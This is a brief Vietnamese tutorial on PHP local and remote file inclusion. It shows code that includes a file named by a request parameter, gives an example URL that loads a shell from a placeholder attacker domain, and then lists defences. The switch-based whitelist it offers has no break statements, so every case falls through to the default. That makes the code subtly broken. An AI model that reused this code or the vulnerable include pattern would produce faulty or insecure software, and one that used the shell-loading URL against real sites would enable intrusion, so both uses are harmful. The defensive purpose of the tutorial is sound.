Các ứng dụng web thường dùng request để gọi tới một trang nào đó từ index.php, chẳng hạn: index.php?act=home. Khi đó trong mã php sẽ là:
Mã:
- <LI class=li1>$page = $_GET['act'];
- include($page.'.php'); // => include('home.php')
Có khá nhiều ứng dụng web bị khai thác từ lỗi này. Vì với đoạn mã như trên, bất cứ ai cũng có thể chèn file khác vào để kiểm soát website và có thể xem bất cứ thông tin gì như file cấu hình, thông tin tài khoản truy cập CSDL: index.php?act=
http://hacker_domain.com/sh3ll.txt
Sau đây là những cách phòng chống: -
Kiểm duyệt giá trị nhận từ request:
Mã:
$page = preg_replace("/[^a-zA-Z0-9]/", "", $_GET['act']);
Sử dụng switch...case:
Mã:
- $page = $_GET['act'];
- switch($page) {
- case 'home': $p = 'trang_chu';
- case 'contact': $p = 'lien_he';
- default: $p = 'trang_chu';
- }
- include($p.'.php');
Nếu bạn chỉ muốn include file HTML, bạn hãy dùng hàm
readfile thay vì include vì readfile chỉ đọc nội dung chứ không thông qua biên dịch mã PHP!